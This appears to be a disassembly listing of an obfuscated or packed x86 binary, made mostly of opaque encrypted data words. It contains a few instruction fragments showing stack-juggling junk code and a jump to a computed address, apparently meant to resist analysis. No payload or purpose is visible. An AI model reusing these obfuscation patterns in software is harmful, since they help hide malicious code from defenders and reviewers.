dd 0A159B7F3h, 0D2D8217h, 8119AE52h, 68BAB4A3h, 1CCEh
dd 59DBBF0Fh, 958B378Bh, 7A80BD9h, 2D94EE81h, 9D017017h
dd 7A8195Dh, 0E89DF681h, 95233D51h, 7A80BC9h, 0FA0AC681h
dd 858971FAh, 7A830C9h, 0ADB58956h, 8F07A806h, 89E88007h
dd 8904EF83h, 0A80CED95h, 1E98107h, 0F000000h, 1585h, 0E9D18B00h
dd 1Fh, 885BE1FAh, 70C889EBh, 0C69335F7h, 858BD607h, 7A80A71h
dd 0FFFF93E9h, 2F14FCFFh, 0E8E04484h, 14h, 583492B2h, 4C029268h
dd 8EFBE533h, 5E885854h, 4AF39ED6h, 25698D8Bh, 0F5807A8h
dd 48Bh, 0DFBB6600h, 56C081EBh, 51000061h, 1AD28166h, 2C685BAEh
dd 33000018h, 0A827519Dh, 388B5E07h, 0BFD38166h, 0A5C781D9h
dd 892025DCh, 0A80859B5h, 0C2C78107h, 8B047CCAh, 0A834E58Dh
dd 8AC78107h, 0B65615B5h, 81665796h, 8FF860F2h, 860F5300h
dd 15h, 10E9h, 37539B00h, 4023FB68h, 8E1285F7h, 86E67FCDh
dd 0E8835A14h, 3820F04h, 80000000h, 0EE8392EBh, 9F850F01h
dd 60FFFFFFh, 26758D8Bh, 8B6607A8h, 16E961F1h, 0DE000000h
dd 7D6232h, 4 dup(0)
dd 552E900h, 0C98A0000h, 0CD0B9CEh, 4B0DF60Bh, 884E374Ch
dd 0C2917A8Fh, 17B2C0D5h, 0B3C8CF8Eh, 0F3080FCAh, 354A4D0Ah
dd 788D8A4Ch, 7DB3F998h, 83CBAA7Ch, 17C73BE9h, 639C3500h
dd 0EDBA6B1h, 2A6A6254h, 0FA1233B1h, 3E534417h, 0C7928555h
dd 3621F52Eh, 0A3869E6Bh, 9C19E4F3h, 7CD846F8h, 0AB714AA0h
dd 8C6BBF8Ah, 0BBF137h, 0BAC1D359h, 8D1C87A2h, 0CCB5CACDh
dd 0AF3080Fh, 27F4A4Dh, 0F82E7457h, 0FED358FFh, 900BD6F7h
dd 2E64AAFFh, 34D35900h, 8FFA152Dh, 0F43A8FE4h, 0D35900BEh
dd 0A9DFBDC4h, 0AFD35900h, 6B3621F8h, 82657D9Eh, 80D5C2D5h
dd 5900043Ah, 0EB030AD3h, 1C3BDBC4h, 5E94DA2Fh, 64D35900h
dd 154B91h, 141BD359h, 65FEDBF3h, 9D686F2Ch, 8FC8B8D0h
dd 69D35900h, 0F7BB67D2h, 4A1BA871h, 5Fh, 17C748h, 7073AB35h
dd 0B64DD359h, 1EB9F4Bh, 12E1BA8h, 2C000000h, 0F03615C7h
dd 0D35970BAh, 0CD98B9C0h, 3FDB8C50h, 0AF804D18h, 0FCC7E8EFh
dd 0CFBCDB7Fh, 6FFE347Ah, 4D04D359h, 536B8C8Bh, 0BC272276h
dd 0E5B86F2Dh, 395A27F2h, 0B09B3B24h, 5970346Ah, 0D4833AD3h
dd 0A2BF8C3h, 0ABE8D4E9h, 0E7B2A572h, 8A8D491Ah, 0F7DAF2BFh
dd 0EB683324h, 9E632E29h, 0A3B468A1h, 0D8F30BD8h, 183FDE6Dh
dd 97DCFE03h, 879048D6h, 4935EFBCh, 0AF92AAC7h, 841DE8EFh
dd 3720F62Fh, 8BC19F6Ch, 91D35956h, 0C98F728Ah, 0A5BE03CEh
dd 0E5B48E3Ah, 0A10D1BA7h, 0B000000h, 786A14C7h, 0CD0C40CDh
dd 8C1EC4D4h, 7596C135h, 4C0C8954h, 5403804Bh, 5BFB7843h
dd 49F6713Ch, 5C57FFDEh, 0ABF146F1h, 0D3595075h, 215C47Bh
dd 37E6C9E1h, 73220B20h, 9B3E7764h, 0CCE4B17Ch, 0B3A472EFh
dd 6DA6A3E8h, 7C97AFA8h, 0DF5D6511h, 0C8011BA7h, 69360116h
dd 0BD6C198h, 660A263Eh, 8000000h, 0C1189ABh, 9A2A60A6h
dd 2930D358h, 0BCC75B6Fh, 6C12C1A4h, 4CE7B81Fh, 0C18CADD6h
dd 578DD328h, 5DD35965h, 0BE5B3E56h, 7485CE99h, 0BCDB7A09h
dd 0FE347ACFh, 4D35964h, 0D2BEE5FDh, 0F03615C7h, 0D35970BAh
dd 0CD98B9C0h, 59700A43h, 0E24DE4D3h, 669CE237h, 6CD35970h
dd 54D4D65h, 0DC1BA801h, 1, 611C7DAh, 7F7AF719h, 0BF2FF742h
dd 0B4E19C19h, 0DCF415BAh, 0C7D082FFh, 69D481FCh, 0C0D785BEh
dd 413C5A8h, 0D9A0C217h, 0DEC9A199h, 6D164C2Ah, 151CD359h
dd 2B2CD6FDh, 0D7B8FEEBh, 9EDB0181h, 0BADAF27Ch, 425A29F9h
dd 0C0BCB82h, 0F3A320EBh, 34E6CFE4h, 96CE5823h, 0ADDB01B8h
dd 0F0A2319Ch, 29E9D2E7h, 34E6632Eh, 1F143623h, 0CCCCE73Fh
dd 7338152Dh, 0BE60EF5Ah, 5B5187CDh, 5057DB02h, 5E141A2Fh
dd 0A3E3FF14h, 117h, 0C51106A1h, 9D9D92D8h, 0ECA3DB01h
dd 0B8DF792Eh, 0DEFF20EDh, 88DBCFF1h, 60FEFFA3h, 0B0D26B48h
dd 8514794Ch, 0D5FF4D19h, 855224C7h, 0A9694C64h, 0EEB099AEh
dd 0D8E91050h, 0F3147BB3h, 20EBAB28h, 20AA4DAh, 0E9A3AADBh
dd 0CC6FFBA7h, 410C2D8Ch, 69F8637Ch, 9399AEA9h, 0E3FF54DFh
dd 4422h, 15062000h, 3EB2D4C1h, 432606FCh, 2A706F87h, 5358D1D4h
dd 6F08D3DAh, 12C16636h, 4C19E405h, 0D10E4434h, 62D75358h
dd 62AAA7F7h, 0D0D92F75h, 67A0D358h, 0CD8DA5B2h, 73ACB1C6h
dd 619FB7A0h, 73h, 0C51106A3h, 8C3D92D8h, 3C43DB01h, 3522F471h
dd 1D6F2648h, 0A3D84237h, 0DB7B648Bh, 2C67F1BCh, 43DB0268h
dd 6638C732h, 0A5B25C71h, 263E8471h, 0EDE2B15Ch, 5C1C5298h
dd 1B22E2B1h, 713C4303h, 6A3522F4h, 87D742EFh, 459468Eh
dd 0DE145AAFh, 0E4E2B15Ch, 5CC9FFDDh, 0C8CFE2B1h, 50A8C0B0h
dd 0DBAEEA60h, 60505F95h, 3D5E65EAh, 56411750h, 62B173Eh
dd 92D8C511h, 0DB08647Ah, 31AE7980h, 67897661h, 34191D51h
dd 567D9559h, 0DFAAAD6Dh, 0D4B38D55h, 0AAAD7055h, 0A1B662DFh
dd 9CBB59D6h, 883504D1h, 0B7963E1Dh, 0B3E61C62h, 0E5EC55D4h
dd 0B847B2CDh, 849341E6h, 0DB217663h, 55D4B4A5h, 7D3A4ABh
dd 60784510h, 0F08E5039h, 7023D672h, 15CF9C67h, 4E6FAE0Eh
dd 47500683h, 0E954017Ch, 8A9FB85Ah, 504DF1A1h, 0A4391807h
dd 0E09C99Ah, 8A557643h, 0AB2h, 0F2A2DB00h, 354D1AE5h
dd 0C73EDC4Fh, 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh
dd 9E1BE6F1h, 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h
dd 7FF68h, 242C8900h, 0C581E589h, 4, 8704ED83h, 565C242Ch
dd 0C681E689h, 4, 4EE81h, 34870000h, 14895C24h, 0E3895324h
dd 4C381h, 0EB830000h, 241C8704h, 241C895Ch, 736094BAh
dd 8E2C163h, 0D5E2814Ah, 5671BD75h, 0B44CCFBEh, 5EF2313Fh
dd 0F281D2F7h, 0B6C556D8h, 425768h, 24248900h, 4240483h
dd 0D689565Bh, 8438F56h, 2434FF5Eh, 4C4835Bh
; ---------------------------------------------------------------------------
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58941B
; ---------------------------------------------------------------------------
pusha
mov eax, 7AEF8F7h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 9Bh, 0E2h, 45h
dd 0F40C2656h, 78769D46h, 27E41457h, 637B8E22h, 0C08D8D58h
dd 8907AEFAh, 0A818919Dh, 318D8907h, 6A07A817h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 77BCC355h, 84F78910h, 69006D4Ch, 14E8h, 9D049800h, 0FD9CE5BAh
dd 5E0AD0E8h, 0B738FEA0h, 49948C84h, 58E680CAh, 658D015Bh
dd 0C707A817h, 0A80A5985h, 692807h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0B88BDB6Bh
dd 0E94CB56Ch, 0Ch, 6E0861ABh, 5ABAD0F8h, 69892A11h, 93985C7h
dd 7A8h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0F913CCC3h, 43360E4Bh, 0A565BB66h
dd 0D146BE66h, 10A9B5FFh, 958907A8h, 7A80781h, 9E9h, 0A5AD6000h
dd 0D84E62Dh, 95FFFF43h, 7A81A99h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 7DC35545h, 0AD1CC081h, 6A2476h
dd 0D2195FFh, 0C08B07A8h, 7CD349EBh, 4E26AA5Fh, 1AD47E82h
dd 88A9D14h, 0D935C571h, 28C85101h, 211BEF4Bh, 606DACF7h
dd 78755BCCh, 0ED65AC4Fh, 7BB4A270h, 2D0B45E9h, 71578E3Ch
dd 82443E9Ah, 0BB58FDCCh, 1D6B6AAAh, 61C8D036h, 9159070Fh
dd 8D7D2B59h, 0AEFB978Dh, 0B5952307h, 8907A80Eh, 0A817318Dh
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 48CE9F91h, 85C7F14Ch, 7A80A59h, 5AA0h, 0C7F8B70Fh
dd 0A8093985h, 7, 59B5FF00h, 6A07A815h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2304C356h
dd 0FF09F51Bh, 0A81A9995h, 6870F07h, 89000000h, 0A803CD8Dh
dd 0FF006A07h, 0A80D2195h, 0EBC08B07h, 6191B13Fh, 0FC297AF6h
dd 4CC5BEBCh, 843171FCh, 1F1774D6h, 0A2BFFA27h, 482383B9h
dd 8701B78Bh, 0DE77EA99h, 0CC25E4D9h, 0F1844AEEh, 1CE53AFBh
dd 0CD8681B2h, 0FBBB6707h, 0EBACF5F4h, 5DD5DB7Dh, 0FCD38D8Dh
dd 6A07AEh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 116C94C3h, 0B7BB2364h, 318D8931h, 6A07A817h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 1DDCC357h, 0AE87C071h, 8185B434h, 0EA73E3DEh
dd 0F58A533Eh, 5985C75Ah, 5407A80Ah, 6A000068h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0C714C350h, 0A8093985h, 7, 81852900h, 0FF07A814h, 0A810A9B5h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 5A2A1807h, 5E9D0021h, 0C18589D1h, 907A80Ch
dd 0A81DED8Dh, 9995FF07h, 6A07A81Ah, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B805C353h
dd 142CB156h, 0FF006ADFh, 0A80D2195h, 0EBC08B07h, 53EFD349h
dd 1075830Bh, 6D910527h, 0A5B41433h, 3AF8680Eh, 0CAE478C4h
dd 54E352E0h, 1699AB9Fh, 51C15FB9h, 40D0FE08h, 723FA81Ah
dd 5965A00Bh, 5D15B5A7h, 259A8EA9h, 0DE33AF62h, 770B773Dh
dd 0DF31FA99h, 3969E907h, 9E8CF0Fh, 87000000h, 931FA372h
dd 3588B510h, 39BD8B56h, 5807A80Ah, 8DB9665Eh, 0A9C6810Ch
dd 29000067h, 0A80615B5h, 0E8DB3307h, 14h, 36F1D905h, 0FFE7A49Ch
dd 0C283321h, 0E8813C2Eh, 6A2A8864h, 421858Bh, 0FF5F07A8h
dd 0F1813334h, 7BDC6EFh, 0C181665Ah, 0F28121CDh, 25B359C7h
dd 601B529h, 0EA8107A8h, 30A08AA4h, 68F0F57h, 89000000h
dd 0A821DD9Dh, 0C2815F07h, 172BC560h, 0FB3DBF66h, 66516052h
dd 665FD68Bh, 612730B9h, 31E048Fh, 0A82AC98Dh, 3890F07h
dd 80000000h, 0EB8332E5h, 4B4B4B01h, 9934FB81h, 850FFFFFh
dd 1Bh, 59C68B52h, 2BE9h, 26E5200h, 0DC47DD90h, 0EE6D5AEEh
dd 0B63847B9h, 0E97E6914h, 0FFFFFF77h, 6810303Ch, 0C956C01Ah
dd 44DF7865h, 563153DDh, 564737C8h, 0FEF18D8Dh, 6A07AEh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 897911C3h, 0A821899Dh, 318D8907h, 8907A817h, 0A81D0595h
dd 5985C707h, 2C07A80Ah, 6A000065h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0CC3EC350h
dd 8BBC1859h, 0A805C185h, 3985C707h, 7A809h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 4C99C357h, 9D29AB70h, 7A825E1h, 1559B5FFh
dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0D4193BC3h, 51CB2B9Fh, 1A9995FFh, 6A07A8h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0A9831FC3h, 6AD18B64h, 2195FF00h, 8B07A80Dh, 0B13FEBC0h
dd 0A87EEED8h, 0CA39EAE3h, 863837A3h, 2C348606h, 980A1249h
dd 0C9DABD09h, 0FE53F11h, 227403BBh, 4F479681h, 0C3D0F7A5h
dd 0BC8DBC41h, 7174A859h, 4EBC2C99h, 4AC0FE78h, 3FC0F946h
dd 5E80D1Ah, 8B000000h, 4CD3E35Fh, 958958F9h, 7A804A1h
dd 62E7C081h, 0BD030000h, 7A823D5h, 0BAh, 0DE900h, 0C8960000h
dd 0DF81FDF7h, 1684F197h, 0FF7EFFBEh, 81660234h, 5B7BD1D6h
dd 95896060h, 7A80675h, 61CF8B66h, 0F959503h, 816107A8h
dd 0C85062F3h, 2D8D8B04h, 8107A81Dh, 0C1223DC3h, 899D896Fh
dd 8107A826h, 4D03D3C3h, 0F08B6608h, 0FE8B6653h, 2310048Fh
dd 0A800298Dh, 95896007h, 7A82195h, 2AD88166h, 0EA8161C2h
dd 60DEB195h, 18D98589h, 0C28107A8h, 60DEB191h, 13619D01h
dd 0FA8107A8h, 0FFFF9DC4h, 0FF85850Fh, 0BE66FFFFh, 0FE816C7h
dd 0BE000000h, 0E6AC7ACBh, 5B0330E5h, 76D22F72h, 0B966DB27h
dd 5358086Fh, 191FBA66h, 0A9C0815Ah, 0F00005Bh, 1184h
dd 0CE900h, 70D10000h, 39A6A1E6h, 3E2EFE1Eh, 0DB331FF0h
dd 183C8BF5h, 1AA5958Bh, 0C78107A8h, 319CC78Fh, 13890Fh
dd 0EE90000h, 0A6000000h, 31F21421h, 9A29E047h, 0AFC95086h
dd 68F78110h, 661C08EEh, 0EA5BCA81h, 1263EF81h, 85895C88h
dd 7A80E3Dh, 8F04B257h, 0BA661804h, 0BF0FC834h, 4EB83CFh
dd 166CBA66h, 0A4F0FB81h, 850FFFFFh, 0FFFFFFA1h, 309ABA66h
dd 0EE8h, 0FD63FF00h, 1B2B0FD5h, 7F66A4BDh, 0E8C49959h
dd 5, 58353A2Bh, 805F5A83h, 0C78154C7h, 753Eh, 25ED9D01h
dd 1FB907A8h, 8B00001Dh, 0A82CBDB5h, 0F9078B07h, 0A792E881h
dd 8D892639h, 7A807B9h, 79D6C081h, 9D310646h, 7A80C6Dh
dd 817AE881h, 850F77E4h, 6, 42B9D281h, 0E9501B03h, 8, 0A55C5E0Eh
dd 8CFE8CE6h, 0BABE078Fh, 832CC40Fh, 0BD8904EFh, 7A82E51h
dd 1E981h, 850F0000h, 1Ch, 0BE9h, 88868200h, 735C8CACh
dd 118F0452h, 26E9h, 5012FF00h, 0D2F5FAE5h, 333DBD89h
dd 82E907A8h, 89FFFFFFh, 16ED5B64h, 7E4D3EB5h, 2FC3D68Dh
dd 0ADCB777Dh, 0E87DB32Eh, 14h, 0BE804340h, 0CB2C0EA1h
dd 29F951C0h, 69C59DB1h, 46807B6Dh, 2820Fh, 0F88A0000h
dd 61BD895Ah, 8107A82Dh, 7457C2h, 81665100h, 59CAEDE1h
dd 1CE7B8h, 0FFFAB500h, 0E98D8B32h, 5E07A821h
dd 0DE9h, 0E0C22B00h, 476F9EDAh, 925069DEh, 0EE81119Ah
dd 64B03607h, 805BD01h, 0F68107A8h, 310536D8h, 2751BD8Bh
dd 0EE8107A8h, 4ECA35F4h, 85013289h, 7A80609h, 0D0A3EA81h
dd 85892ACAh, 7A82431h, 0D09FC281h, 62B12ACAh, 0F01E883h
dd 1885h, 0EAF18100h, 0E96354BEh, 1Fh, 5A293D1h, 9449B2Eh
dd 0B052E7A1h, 6D9D2998h, 0E907A804h, 0FFFFFF7Fh, 6B7E0365h
dd 42A56721h, 6A234ACh, 7AA27C24h, 0F3BB37Dh, 2181980Ch
dd 9083B42Ah, 0DD6F3025h, 0A7863025h, 0BA9BCD98h, 8D893022h
dd 848630ADh, 5E7F8DA6h, 2E86378Dh, 90864BA1h, 5103F625h
dd 6A819823h, 0D2E70A4Dh, 2D82B147h, 0C1044623h, 5F7B85DAh
dd 0A40B378Dh, 972D483Fh, 0B80DE0DAh, 229FB5E3h, 0FAC8378Dh
dd 9863021h, 2CC4E765h, 66C2BB75h, 0A886BB21h, 0C8821461h
dd 547F85DAh, 0A10B378Dh, 152D483Fh, 0F10DE0DAh, 8486209Ch
dd 428ED925h, 2E203025h, 90863EA0h, 818D7925h, 0DB76B52Ah
dd 1F6FCFDAh, 84863025h, 2CC87DB8h, 42838822h, 0C2793025h
dd 929C8DA8h, 0C50B378Ah, 232932C4h, 22A3229Dh, 42491BA3h
dd 6A234ACh, 7AA27C24h, 0F3BB37Dh, 2181980Ch, 9083B42Ah
dd 0DD6F3025h, 0A7863025h, 0E983CD98h, 0B9A4F305h, 22h
dd 34E9h, 57D21E00h, 28h, 0Bh dup(0)
dd 812E900h, 0D1820000h, 14C8B1C6h, 5305EE03h, 90462F44h
dd 0CA897287h, 1FAAB8CDh, 0ABC0D786h, 0EB0017C2h, 2D425502h
dd 70859244h, 75ABF190h, 7BCBAA6Dh, 56AB33E1h, 5970DA10h
dd 6B29E0D3h, 0B3D4A16Ch, 7072AB9Bh, 39D359h, 0C9CE8E59h
dd 3F10DDA8h, 0E5B27D9Ah, 2F28EACDh, 484F0942h, 7198B07Dh
dd 99864EC7h, 8EB6C677h, 0DDF5C494h, 5AFB98DEh, 0A0C2DB01h
dd 0F9D4330Ch, 82425A9Fh, 42CA7AE2h, 92B34352h, 8C8B4AC7h
dd 9C397277h, 29E3B07Bh, 53528F8Ah, 0B99CB499h, 0B633FE19h
dd 6328F3E4h, 8E50DF4Ah, 1479C89h, 0DB0128CBh, 5FF9CAD1h
dd 88A06D38h, 49175B61h, 4FEAE3F0h, 0E8000000h, 805314C7h
dd 17C697h, 0C49714DFh, 0CE8B08D3h, 0D181FEC9h, 0ACA7FBC6h
dd 30496241h, 706736C5h, 0FD1D555Bh, 23E41BA7h, 0E2000000h
dd 380314C7h, 597075AEh, 45B057D3h, 0DBF0E7B6h, 0D9FE9DD6h
dd 2383C1h, 73AC0000h, 1BE8B3A4h, 14C71D03h, 0C831176Ah
dd 534C0611h, 0C893B497h, 5926063Eh, 0A10C1DD3h, 3F544312h
dd 2C110653h, 0E565059Dh, 38254676h, 114B1F2h, 0E5B0B7DBh
dd 92A7B068h, 1DE8EFA9h, 0B19E76DFh, 9FB7A078h, 3AA15AA0h
dd 0A0A7E2A9h, 42AD5AD5h, 5F2E5B3h, 0F1090ECCh, 2A70C5CAh
dd 0E2A939F4h, 0F8DBF3FAh, 0E26C3720h, 0E2A93ABCh, 10DBFC9Fh
dd 0D1C693h, 0D86F3A5Dh, 74DF863h, 0E2A93AD1h, 0C4AFD0D7h
dd 0E439E44Fh, 3A13498Fh, 1219E2A9h, 0A939FE34h, 0E5FD04E2h
dd 2C415602h, 0C71F0640h, 0C74DCDF3h, 832C0017h, 0F590AA97h
dd 32291EA7h, 27000000h, 0F3C71F06h, 702F65ABh, 2E35D359h
dd 70A6EC41h, 76D35970h, 2DF81FBFh, 41273F60h, 0B2A572ABh
dd 3021AE7h, 611C7C7h, 6CA87232h, 5Fh, 0FB1F06AEh, 59707FB5h
dd 0A2B562D3h, 555C0AD7h, 65AB6034h, 0D359702Fh, 0F81FBDF6h
dd 4748602Dh, 0A47EDC29h, 0CDBA4B59h, 58DA5187h, 2F5057D3h
dd 0C76FAB5Bh, 0C4190611h, 5970487Eh, 2F474ED3h, 0A272AB49h
dd 4C82C8B5h, 52D35970h, 18FB334Bh, 0A503BDFh, 0D35970D4h
dd 0E7B2D3DAh, 0AB1C021Ah, 495F8189h, 0C9E12A80h, 0A07334E6h
dd 0FE1FECB7h, 0FF459A33h, 0D358B9C9h, 3CEAEDACh, 0CC024835h
dd 0D2D358B9h, 0FBC3B3CBh, 7D35D3Ah, 4012A10Ch, 0BA594257h
dd 1739D29Dh, 0DADD1515h, 40233B41h, 0EAAF7A9Dh, 4D766D1h
dd 0D0CB0147h, 0CAD1D35Ch, 1A3B5CF9h, 0A14BFF05h, 428EE454h
dd 8C000000h, 7CC689ABh, 0B86E578Eh, 0FA1DBDA0h, 0E464F12Fh
dd 58FD689Eh, 0C03162D3h, 681D07F9h, 0C08F1ABAh, 0FB049A57h
dd 86CCB9DAh, 0DB009395h, 75C9949Bh, 0DE800F7Ah, 3177CCB9h
dd 0DB0092FBh, 0BBE2FA01h, 17C7CFh, 0B61EF735h, 7A7283C9h
dd 7178DB01h, 0B4A3735Ch, 0E4485FE9h, 75545F73h, 0E4A4DA20h
dd 0A3AA5F73h, 5A05708Bh, 0E489BF05h, 888F5F73h, 0CACD8D70h
dd 0D0ACCB5h, 13130442h, 0E3F4A344h, 92A4B18h, 0FF59D61Ch
dd 8C5F671Bh, 0E7731F6Ah, 6D4B05EAh, 671B9437h, 0C0D7863Dh
dd 7D697E9Fh, 0F3C71F06h, 72AB4DCDh, 35E1B2A5h, 728A5722h
dd 0DBC8CF8Fh, 700A4086h, 5910D359h, 5D29DBAh, 83E6CCE4h
dd 0ADE3297Eh, 0B3D35970h, 0ABAE94ACh, 70DA1056h, 0D9E0D359h
dd 0F5F9C1C1h, 32401EA7h, 3E000000h, 0F3C71F06h, 702F65ABh
dd 0D4F6D359h, 51105848h, 0DA9AB292h, 6FABFFD3h, 835611C7h
dd 0AB9F7394h, 99B1A672h, 72AB9761h, 5F9DB5A2h, 1Bh, 0A372ABA1h
dd 11F89CB4h, 65ABE5B9h, 0D359702Fh, 0AB9B6FF4h, 611C76Fh
dd 0C7A87232h, 0AB350017h, 0D35DF1E3h, 0FA89F4EFh, 412A3F58h
dd 3DBA8592h, 0E9AE799Eh, 7D665D0h, 88CE2310h, 0D35DF152h
dd 12395158h, 537E460Ch, 499BE4h, 0C7990000h, 9C350017h
dd 38DA2547h, 40BADFA2h, 59492C62h, 0D87B32D3h, 627F4BFh
dd 9CD4AEEh, 2037E31Ch, 71708855h, 164D62Bh, 0E8D5DCDBh
dd 1DE8EFAFh, 75B3850h, 4012A10Ch, 1B3D4257h, 0CBEA7B22h
dd 0BE5B2C0Fh, 0C79B8199h, 0F7350017h, 74C9B61Eh, 70A3D91Fh
dd 0A2A9D359h, 89619A8Ah, 6067DB01h, 7B9C3A73h, 0A4CBE3B0h
dd 0FB1F06B8h, 59707FB5h, 5D7E85D3h, 0C74DCD89h, 832C0017h
dd 0B596457Eh, 5970396Fh, 17383FD3h, 90AA19FFh, 291EA7F5h
dd 3Eh, 0C71F0627h, 2F65ABF3h, 0F6D35970h, 884D1ABDh, 0D6F7C48Fh
dd 0C8CF8E0Bh, 0F70F30FDh, 0AB5C3037h, 44683456h, 0EBBF8A30h
dd 11C7EDD3h, 70BEF43Ah, 0BDC4D359h, 0A872C89Ch, 356Ch
dd 1F06AE00h, 0F2A1DAC7h, 4F706735h, 0B99FB784h, 702F65ABh
dd 0BFF4D359h, 5D9FA1Dh, 11C76FABh, 1DF71906h, 0C95DE532h
dd 0ABC0A6BEh, 695BA189h, 0D5EDB18Ch, 17C7D39Dh, 38DA1300h
dd 8DAEA96Fh, 460E9875h, 52D35DF2h, 0BD5DEC57h, 0FA9C859Ah
dd 43D412DDh, 0B760A693h, 0BDDB0622h, 6B5A1B6h, 0ABF3C71Fh
dd 381EA072h, 5E5700EAh, 0FFCC97B8h, 0AB8A0AE7h, 0CAB7A072h
dd 59704E84h, 354D54D3h, 0AA978052h, 70D90F55h, 0D8DFD359h
dd 9783DAC0h, 0A7F590AAh, 2C291Eh, 6270000h, 0ABF3C71Fh
dd 59702F65h, 1EBDF6D3h, 6A21E1F9h, 649AE0ABh, 6AD35970h
dd 4D214263h, 11C76FABh, 0A8723206h, 2E6Ch, 1F06AE00h
dd 72ABF3C7h, 0A09FB7A0h, 5970245Ah, 9064E9D3h, 0DA1056ABh
dd 0E0D35970h, 86C2C1D9h, 320611C7h, 0C92689ABh, 85F124EEh
dd 0C76B356Dh, 8F885017h, 0E9D6F7C4h, 9CBB5B94h, 0F02604D1h
dd 0EAD3596Fh, 49A0BDD8h, 0F5FCAA43h, 0AE7600DDh, 0BAD35D53h
dd 15C554BFh, 5204ED02h, 0DB3C7A45h, 0D9C71162h, 0DAFB5F9Ah
dd 18F6A7EDh, 9BBDDB05h, 2CA03DD8h, 457BC12Eh, 4BDB04BDh
dd 692344h, 0EF93C8F4h, 151CDCF4h, 56AB1400h, 5970DA10h
dd 0FC1BBDD3h, 0AFB66431h, 0B46CF397h, 0C74DCDE0h, 8E895017h
dd 1D5F6C3h, 90AA9783h, 291EA7F5h, 3Eh, 1106D50Eh, 1F0613F9h
dd 65ABF3C7h, 0D359702Fh, 0AB5A2E35h, 70DA1056h, 0D9E0D359h
dd 0C786C2C1h, 0AB320611h, 0E6B1A672h, 0E6C90119h, 9E3EE9ADh
dd 0C0E1AE79h, 2A1028F5h, 3F6Ch, 72ABAE00h, 18E5B0A7h
dd 51F55C00h, 5970D50Bh, 0B3D4DBD3h, 1D56ABDFh, 54445C7Bh
dd 0D359701Eh, 875790E5h, 1AF8C590h, 0D35970E4h, 736433EAh
dd 0C3D48152h, 5125AAABh, 11C76FABh, 0A8723206h, 0DA1056ABh
dd 0E0D35970h, 3CDEC1D9h, 22F52E1Bh, 2401D35h, 8ED4C115h
dd 0DB01A401h, 0DA130007h, 0EA301D3Ah, 0DB01A4B4h, 749BB3BAh
dd 9C894DCAh, 76ACF247h, 7CDB01A4h, 0A4619775h, 6067DB01h
dd 0D5034948h, 0DBE2B0A7h, 0E4B27524h, 3A5B28F3h, 1D14E19h
dd 28F02916h, 7F97642Fh, 0A8AF6F58h, 80D753DDh, 0E8E312A9h
dd 0F999D27Dh, 2E4613DEh, 9F8C8B4Bh, 0D5A0B766h, 0E0C9F008h
dd 0D14E193Eh, 0CC471205h, 7525B41Fh, 0B2644D62h, 802DAA5h
dd 2B000000h, 193126F2h, 0C73EDC33h, 0B9360116h, 0B633FE19h
dd 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh
dd 7CF9C4D3h, 3CF4BFD8h, 81E18951h, 4C1h, 4E98100h, 87000000h
dd 895C240Ch, 8E682434h, 89000009h, 8952241Ch, 4C281E2h
dd 83000000h, 148704EAh, 34895C24h, 45B85024h, 8907AF03h
dd 24048BC3h, 4C481h, 8B540000h, 0C4812434h, 4, 4EC81h
dd 1C890000h, 8468F24h, 5E2434FFh, 4C481h, 34FF0000h, 0C4815B24h
dd 4, 0F9746AE9h, 816C24FFh, 0C07292B8h, 3888923Eh, 41D8AA91h
dd 0AF0AD7B8h, 0FFC50307h, 8F8674E0h, 30879229h, 0FF19B63Fh
dd 40950E25h, 3818BB04h, 0DCBA3029h, 36D01923h, 0F047A350h
dd 0D18ECC04h, 54918C69h, 55217C03h, 7EBC62Ch, 0AB17A77h
dd 91FE9913h, 5E43275Dh, 140A446Eh, 0CE83Eh, 94080000h
dd 26D5FAC5h, 87F178A7h, 8B667209h, 0FB05FC6h, 6A5BC781h
dd 0B3600000h, 16BB613Dh, 814A0CA6h, 0C8BB4EBh, 5850564Ah
dd 0E8378B5Ah, 6, 9F77E13Eh, 6653D294h, 5A8F63BAh, 0EEC68158h
dd 0E95A3F94h, 0Dh, 0BCDC2A6h, 0B4234F35h, 7DFCF83Ah, 0FC68176h
dd 81640B4Ch, 252C2AC6h, 8C0F6044h, 2, 0BE85A52h, 0E000000h
dd 0D286FC0Bh, 0B8496207h, 17B5B60Ah, 6656615Ah, 78FCA8Bh
dd 81C8BF0Fh, 7D9FB8EFh, 81666068h, 0B5B818CBh, 0C7816192h
dd 687D9FB4h, 0D850F4Bh, 0B0000000h, 2BE953h, 4A550000h
dd 0FAB7FE59h, 9E960h, 8B5C0000h, 0EB86F72Bh, 0B1C8D1DFh
dd 62E961B2h, 56FFFFFFh, 4E0F32C0h, 57CA9589h, 3122840Dh
dd 208D8D97h, 0E907AF0Dh, 8, 78BB96ADh, 0F3B81825h, 17318D89h
